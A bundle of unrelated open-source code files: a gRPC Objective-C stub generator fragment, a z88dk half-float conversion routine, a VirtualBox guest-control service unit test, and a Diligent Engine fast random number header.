void PrintMethodSignature(Printer* printer, const MethodDescriptor* method,
const map< ::grpc::string, ::grpc::string>& vars) {
// Print comment
PrintAllComments(method, printer);
printer->Print(vars, "- ($return_type$)$method_name$With");
if (method->client_streaming()) {
printer->Print("RequestsWriter:(GRXWriter *)requestWriter");
} else {
printer->Print(vars, "Request:($request_class$ *)request");
}
// TODO(jcanizales): Put this on a new line and align colons.
if (method->server_streaming()) {
printer->Print(vars,
" eventHandler:(void(^)(BOOL done, "
"$response_class$ *_Nullable response, NSError *_Nullable "
"error))eventHandler");
} else {
printer->Print(vars,
" handler:(void(^)($response_class$ *_Nullable response, "
"NSError *_Nullable error))handler");
}
}
void PrintSimpleSignature(Printer* printer, const MethodDescriptor* method,
map< ::grpc::string, ::grpc::string> vars) {
vars["method_name"] =
grpc_generator::LowercaseFirstLetter(vars["method_name"]);
vars["return_type"] = "void";
PrintMethodSignature(printer, method, vars);
}
void PrintAdvancedSignature(Printer* printer, const MethodDescriptor* method,
map< ::grpc::string, ::grpc::string> vars) {
vars["method_name"] = "RPCTo" + vars["method_name"];
vars["return_type"] = "GRPCProtoCall *";
PrintMethodSignature(printer, method, vars);
}
inline map< ::grpc::string, ::grpc::string> GetMethodVars(
const MethodDescriptor* method) {
map< ::grpc::string, ::grpc::string> res;
res["method_name"] = method->name();
res["request_type"] = method->input_type()->name();
res["response_type"] = method->output_type()->name();
res["request_class"] = ClassName(method->input_type());
res["response_class"] = ClassName(method->output_type());
return res;
}
void PrintMethodDeclarations(Printer* printer, const MethodDescriptor* method) {
map< ::grpc::string, ::grpc::string> vars = GetMethodVars(method);
PrintProtoRpcDeclarationAsPragma(printer, method, vars);
PrintSimpleSignature(printer, method, vars);
printer->Print(";\n\n");
PrintAdvancedSignature(printer, method, vars);
printer->Print(";\n\n\n");
}
void PrintSimpleImplementation(Printer* printer, const MethodDescriptor* method,
map< ::grpc::string, ::grpc::string> vars) {
printer->Print("{\n");
printer->Print(vars, " [[self RPCTo$method_name$With");
if (method->client_streaming()) {
printer->Print("RequestsWriter:requestWriter");
} else {
printer->Print("Request:request");
}
if (method->server_streaming()) {
printer->Print(" eventHandler:eventHandler] start];\n");
} else {
printer->Print(" handler:handler] start];\n");
}
printer->Print("}\n");
}
void PrintAdvancedImplementation(Printer* printer,
const MethodDescriptor* method,
map< ::grpc::string, ::grpc::string> vars) {
printer->Print("{\n");
printer->Print(vars, " return [self RPCToMethod:@\"$method_name$\"\n");
printer->Print(" requestsWriter:");
if (method->client_streaming()) {
printer->Print("requestWriter\n");
} else {
printer->Print("[GRXWriter writerWithValue:request]\n");
}
printer->Print(vars, " responseClass:[$response_class$ class]\n");
printer->Print(" responsesWriteable:[GRXWriteable ");
if (method->server_streaming()) {
printer->Print("writeableWithEventHandler:eventHandler]];\n");
} else {
printer->Print("writeableWithSingleHandler:handler]];\n");
}
printer->Print("}\n");
}
void PrintMethodImplementations(Printer* printer,
const MethodDescriptor* method) {
map< ::grpc::string, ::grpc::string> vars = GetMethodVars(method);
PrintProtoRpcDeclarationAsPragma(printer, method, vars);
// TODO(jcanizales): Print documentation from the method.
PrintSimpleSignature(printer, method, vars);
PrintSimpleImplementation(printer, method, vars);
printer->Print("// Returns a not-yet-started RPC object.\n");
PrintAdvancedSignature(printer, method, vars);
PrintAdvancedImplementation(printer, method, vars);
}
} // namespace
::grpc::string GetAllMessageClasses(const FileDescriptor* file) {
::grpc::string output;
set< ::grpc::string> classes;
for (int i = 0; i < file->service_count(); i++) {
const auto service = file->service(i);
for (int i = 0; i < service->method_count(); i++) {
const auto method = service->method(i);
classes.insert(ClassName(method->input_type()));
classes.insert(ClassName(method->output_type()));
}
}
for (auto one_class : classes) {
output += " @class " + one_class + ";\n";
}
return output;
}
::grpc::string GetProtocol(const ServiceDescriptor* service) {
::grpc::string output;
// Scope the output stream so it closes and finalizes output to the string.
grpc::protobuf::io::StringOutputStream output_stream(&output);
Printer printer(&output_stream, '$');
map< ::grpc::string, ::grpc::string> vars = {
{"service_class", ServiceClassName(service)}};
printer.Print(vars, "@protocol $service_class$ <NSObject>\n\n");
for (int i = 0; i < service->method_count(); i++) {
PrintMethodDeclarations(&printer, service->method(i));
}
printer.Print("@end\n\n");
return output;
}
::grpc::string GetInterface(const ServiceDescriptor* service) {
::grpc::string output;
// Scope the output stream so it closes and finalizes output to the string.
grpc::protobuf::io::StringOutputStream output_stream(&output);
Printer printer(&output_stream, '$');
map< ::grpc::string, ::grpc::string> vars = {
{"service_class", ServiceClassName(service)}};
printer.Print(vars,
"/**\n"
" * Basic service implementation, over gRPC, that only does\n"
" * marshalling and parsing.\n"
" */\n");
printer.Print(vars,
"@interface $service_class$ :"
" GRPCProtoService<$service_class$>\n");
printer.Print(
"- (instancetype)initWithHost:(NSString *)host"
" NS_DESIGNATED_INITIALIZER;\n");
printer.Print("+ (instancetype)serviceWithHost:(NSString *)host;\n");
printer.Print("@end\n");
return output;
}
::grpc::string GetSource(const ServiceDescriptor* service) {
::grpc::string output;
{
// Scope the output stream so it closes and finalizes output to the string.
grpc::protobuf::io::StringOutputStream output_stream(&output);
Printer printer(&output_stream, '$');
map< ::grpc::string, ::grpc::string> vars = {
{"service_name", service->name()},
{"service_class", ServiceClassName(service)},
{"package", service->file()->package()}};
printer.Print(vars,
"@implementation $service_class$\n\n"
"// Designated initializer\n"
"- (instancetype)initWithHost:(NSString *)host {\n"
" self = [super initWithHost:host\n"
" packageName:@\"$package$\"\n"
" serviceName:@\"$service_name$\"];\n"
" return self;\n"
"}\n\n");
printer.Print(
"// Override superclass initializer to disallow different"
" package and service names.\n"
"- (instancetype)initWithHost:(NSString *)host\n"
" packageName:(NSString *)packageName\n"
" serviceName:(NSString *)serviceName {\n"
" return [self initWithHost:host];\n"
"}\n\n");
printer.Print(
"#pragma mark - Class Methods\n\n"
"+ (instancetype)serviceWithHost:(NSString *)host {\n"
" return [[self alloc] initWithHost:host];\n"
"}\n\n");
printer.Print("#pragma mark - Method Implementations\n\n");
for (int i = 0; i < service->method_count(); i++) {
PrintMethodImplementations(&printer, service->method(i));
}
printer.Print("@end\n");
}
return output;
}
} // namespace grpc_objective_c_generator
|
SECTION code_fp_math16
PUBLIC cm16_sdcc___h2sint
PUBLIC cm16_sdcc___h2schar
EXTERN cm16_sdcc_read1
EXTERN asm_f24_f16
EXTERN asm_i16_f24
.cm16_sdcc___h2sint
.cm16_sdcc___h2schar
call cm16_sdcc_read1
call asm_f24_f16
jp asm_i16_f24
|
/* $Id: tstGuestControlSvc.cpp 69500 2017-10-28 15:14:05Z vboxsync $ */
/** @file
* Testcase for the guest control service.
*/
/*
* Copyright (C) 2011-2017 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free software;
* you can redistribute it and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software
* Foundation, in version 2 as it comes in the "COPYING" file of the
* VirtualBox OSE distribution. VirtualBox OSE is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
*/
/*********************************************************************************************************************************
* Header Files *
*********************************************************************************************************************************/
#include <VBox/HostServices/GuestControlSvc.h>
#include <iprt/initterm.h>
#include <iprt/stream.h>
#include <iprt/test.h>
/*********************************************************************************************************************************
* Global Variables *
*********************************************************************************************************************************/
static RTTEST g_hTest = NIL_RTTEST;
using namespace guestControl;
extern "C" DECLCALLBACK(DECLEXPORT(int)) VBoxHGCMSvcLoad(VBOXHGCMSVCFNTABLE *pTable);
/** Simple call handle structure for the guest call completion callback */
struct VBOXHGCMCALLHANDLE_TYPEDEF
{
/** Where to store the result code. */
int32_t rc;
};
/** Call completion callback for guest calls. */
static DECLCALLBACK(void) callComplete(VBOXHGCMCALLHANDLE callHandle, int32_t rc)
{
callHandle->rc = rc;
}
/**
* Initialise the HGCM service table as much as we need to start the
* service.
*
* @return IPRT status code.
* @param pTable the table to initialise
*/
int initTable(VBOXHGCMSVCFNTABLE *pTable, VBOXHGCMSVCHELPERS *pHelpers)
{
pTable->cbSize = sizeof (VBOXHGCMSVCFNTABLE);
pTable->u32Version = VBOX_HGCM_SVC_VERSION;
pHelpers->pfnCallComplete = callComplete;
pTable->pHelpers = pHelpers;
return VINF_SUCCESS;
}
typedef struct CMDHOST
{
/** The HGCM command to execute. */
int cmd;
/** Number of parameters. */
int num_parms;
/** The actual parameters. */
const PVBOXHGCMSVCPARM parms;
/** Flag indicating whether we need a connected client for this command. */
bool fNeedsClient;
/** The desired return value from the host. */
int rc;
} CMDHOST, *PCMDHOST;
typedef struct CMDCLIENT
{
/** The client's ID. */
int client_id;
/** The HGCM command to execute. */
int cmd;
/** Number of parameters. */
int num_parms;
/** The actual parameters. */
const PVBOXHGCMSVCPARM parms;
/** The desired return value from the host. */
int rc;
} CMDCLIENT, *PCMDCLIENT;
/**
* Tests the HOST_EXEC_CMD function.
* @returns iprt status value to indicate whether the test went as expected.
* @note prints its own diagnostic information to stdout.
*/
static int testHostCmd(const VBOXHGCMSVCFNTABLE *pTable, const PCMDHOST pCmd, uint32_t uNumTests)
{
int rc = VINF_SUCCESS;
if (!VALID_PTR(pTable->pfnHostCall))
{
RTTestPrintf(g_hTest, RTTESTLVL_FAILURE, "Invalid pfnHostCall() pointer\n");
rc = VERR_INVALID_POINTER;
}
if (RT_SUCCESS(rc))
{
for (unsigned i = 0; (i < uNumTests) && RT_SUCCESS(rc); i++)
{
RTTestPrintf(g_hTest, RTTESTLVL_INFO, "Testing #%u (cmd: %d, num_parms: %d, parms: 0x%p\n",
i, pCmd[i].cmd, pCmd[i].num_parms, pCmd[i].parms);
if (pCmd[i].fNeedsClient)
{
int client_rc = pTable->pfnConnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */);
if (RT_FAILURE(client_rc))
rc = client_rc;
}
if (RT_SUCCESS(rc))
{
int host_rc = pTable->pfnHostCall(pTable->pvService,
pCmd[i].cmd,
pCmd[i].num_parms,
pCmd[i].parms);
if (host_rc != pCmd[i].rc)
{
RTTestPrintf(g_hTest, RTTESTLVL_FAILURE, "Host call test #%u returned with rc=%Rrc instead of rc=%Rrc\n",
i, host_rc, pCmd[i].rc);
rc = host_rc;
if (RT_SUCCESS(rc))
rc = VERR_INVALID_PARAMETER;
}
if (pCmd[i].fNeedsClient)
{
int client_rc = pTable->pfnDisconnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */);
if (RT_SUCCESS(rc))
rc = client_rc;
}
}
}
}
return rc;
}
static int testHost(const VBOXHGCMSVCFNTABLE *pTable)
{
RTTestSub(g_hTest, "Testing host commands ...");
VBOXHGCMSVCPARM aParms[1];
aParms[0].setUInt32(1000 /* Context ID */);
CMDHOST aCmdHostAll[] =
{
#if 0
/** No client connected. */
{ 1024 /* Not existing command */, 0, 0, false, VERR_NOT_FOUND },
{ -1 /* Invalid command */, 0, 0, false, VERR_NOT_FOUND },
{ HOST_CANCEL_PENDING_WAITS, 1024, 0, false, VERR_NOT_FOUND },
{ HOST_CANCEL_PENDING_WAITS, 0, &aParms[0], false, VERR_NOT_FOUND },
/** No client connected, valid command. */
{ HOST_CANCEL_PENDING_WAITS, 0, 0, false, VERR_NOT_FOUND },
/** Client connected, no parameters given. */
{ HOST_EXEC_SET_INPUT, 0 /* No parameters given */, 0, true, VERR_INVALID_PARAMETER },
{ 1024 /* Not existing command */, 0 /* No parameters given */, 0, true, VERR_INVALID_PARAMETER },
{ -1 /* Invalid command */, 0 /* No parameters given */, 0, true, VERR_INVALID_PARAMETER },
/** Client connected, valid parameters given. */
{ HOST_CANCEL_PENDING_WAITS, 0, 0, true, VINF_SUCCESS },
{ HOST_CANCEL_PENDING_WAITS, 1024, &aParms[0], true, VINF_SUCCESS },
{ HOST_CANCEL_PENDING_WAITS, 0, &aParms[0], true, VINF_SUCCESS},
#endif
/** Client connected, invalid parameters given. */
{ HOST_EXEC_CMD, 1024, 0, true, VERR_INVALID_POINTER },
{ HOST_EXEC_CMD, 1, 0, true, VERR_INVALID_POINTER },
{ HOST_EXEC_CMD, -1, 0, true, VERR_INVALID_POINTER },
/** Client connected, parameters given. */
{ HOST_CANCEL_PENDING_WAITS, 1, &aParms[0], true, VINF_SUCCESS },
{ HOST_EXEC_CMD, 1, &aParms[0], true, VINF_SUCCESS },
{ HOST_EXEC_SET_INPUT, 1, &aParms[0], true, VINF_SUCCESS },
{ HOST_EXEC_GET_OUTPUT, 1, &aParms[0], true, VINF_SUCCESS },
/** Client connected, unknown command + valid parameters given. */
{ -1, 1, &aParms[0], true, VINF_SUCCESS }
};
int rc = testHostCmd(pTable, &aCmdHostAll[0], RT_ELEMENTS(aCmdHostAll));
RTTestSubDone(g_hTest);
return rc;
}
static int testClient(const VBOXHGCMSVCFNTABLE *pTable)
{
RTTestSub(g_hTest, "Testing client commands ...");
int rc = pTable->pfnConnect(pTable->pvService, 1 /* Client ID */, NULL /* pvClient */);
if (RT_SUCCESS(rc))
{
VBOXHGCMCALLHANDLE_TYPEDEF callHandle = { VINF_SUCCESS };
/* No commands from host yet. */
VBOXHGCMSVCPARM aParmsGuest[8];
aParmsGuest[0].setUInt32(0 /* Msg type */);
aParmsGuest[1].setUInt32(0 /* Parameters */);
pTable->pfnCall(pTable->pvService, &callHandle, 1 /* Client ID */, NULL /* pvClient */,
GUEST_MSG_WAIT, 2, &aParmsGuest[0]);
RTTEST_CHECK_RC_RET(g_hTest, callHandle.rc, VINF_SUCCESS, callHandle.rc);
/* Host: Add a dummy command. */
VBOXHGCMSVCPARM aParmsHost[8];
aParmsHost[0].setUInt32(1000 /* Context ID */);
aParmsHost[1].setString("foo.bar");
aParmsHost[2].setString("baz");
rc = pTable->pfnHostCall(pTable->pvService, HOST_EXEC_CMD, 3, &aParmsHost[0]);
RTTEST_CHECK_RC_RET(g_hTest, rc, VINF_SUCCESS, rc);
/* Client: Disconnect again. */
int rc2 = pTable->pfnDisconnect(pTable->pvService, 1000 /* Client ID */, NULL /* pvClient */);
if (RT_SUCCESS(rc))
rc = rc2;
}
RTTestSubDone(g_hTest);
return rc;
}
/*
* Set environment variable "IPRT_TEST_MAX_LEVEL=all" to get more debug output!
*/
int main()
{
RTEXITCODE rcExit = RTTestInitAndCreate("tstGuestControlSvc", &g_hTest);
if (rcExit != RTEXITCODE_SUCCESS)
return rcExit;
RTTestBanner(g_hTest);
/* Some host info. */
RTTestIPrintf(RTTESTLVL_ALWAYS, "sizeof(void*)=%d\n", sizeof(void*));
/* Do the tests. */
VBOXHGCMSVCFNTABLE svcTable;
VBOXHGCMSVCHELPERS svcHelpers;
RTTEST_CHECK_RC_RET(g_hTest, initTable(&svcTable, &svcHelpers), VINF_SUCCESS, 1);
do
{
RTTESTI_CHECK_RC_BREAK(VBoxHGCMSvcLoad(&svcTable), VINF_SUCCESS);
RTTESTI_CHECK_RC_BREAK(testHost(&svcTable), VINF_SUCCESS);
RTTESTI_CHECK_RC_BREAK(svcTable.pfnUnload(svcTable.pvService), VINF_SUCCESS);
RTTESTI_CHECK_RC_BREAK(VBoxHGCMSvcLoad(&svcTable), VINF_SUCCESS);
RTTESTI_CHECK_RC_BREAK(testClient(&svcTable), VINF_SUCCESS);
RTTESTI_CHECK_RC_BREAK(svcTable.pfnUnload(svcTable.pvService), VINF_SUCCESS);
} while (0);
return RTTestSummaryAndDestroy(g_hTest);
}
|
/*
* Copyright 2019-2022 Diligent Graphics LLC
* Copyright 2015-2019 Egor Yusov
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* In no event and under no legal theory, whether in tort (including negligence),
* contract, or otherwise, unless required by applicable law (such as deliberate
* and grossly negligent acts) or agreed to in writing, shall any Contributor be
* liable for any damages, including any direct, indirect, special, incidental,
* or consequential damages of any character arising as a result of this License or
* out of the use or inability to use the software (including but not limited to damages
* for loss of goodwill, work stoppage, computer failure or malfunction, or any and
* all other commercial damages or losses), even if such Contributor has been advised
* of the possibility of such damages.
*/
#pragma once
#include "../../Platforms/Basic/interface/DebugUtilities.hpp"
namespace Diligent
{
/// Fast random number generator.
///
/// \note You should probably not use it for your production-grade encryption.
class FastRand
{
public:
using StateType = unsigned int;
static constexpr StateType Max = 0x7FFF;
explicit FastRand(StateType Seed) noexcept :
State{Seed}
{
}
StateType operator()()
{
State = StateType{214013} * State + StateType{2531011};
return (State >> StateType{16}) & Max;
}
private:
StateType State;
};
/// Generates a real random number in [Min, Max] range
template <typename Type>
class FastRandReal : private FastRand
{
public:
explicit FastRandReal(FastRand::StateType Seed) noexcept :
FastRand{Seed}
{}
FastRandReal(FastRand::StateType Seed, Type _Min, Type _Max) noexcept :
FastRand{Seed},
Min{_Min},
Range{_Max - _Min}
{}
Type operator()()
{
return (static_cast<Type>(FastRand::operator()()) / static_cast<Type>(FastRand::Max)) * Range + Min;
}
private:
const Type Min = 0.f;
const Type Range = 1.f;
};
using FastRandFloat = FastRandReal<float>;
using FastRandDouble = FastRandReal<double>;
/// Generates an integer random number in [Min, Max] range
class FastRandInt : private FastRand
{
public:
FastRandInt(FastRand::StateType Seed, int _Min, int _Max) noexcept :
FastRand{Seed},
Min{_Min},
Range{_Max - _Min + 1}
{
VERIFY_EXPR(_Max > _Min);
VERIFY(Range <= static_cast<int>(FastRand::Max), "Range is too large");
}
int operator()()
{
return Min + static_cast<int>(FastRand::operator()()) % Range;
}
private:
const int Min;
const int Range;
};
} // namespace Diligent
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.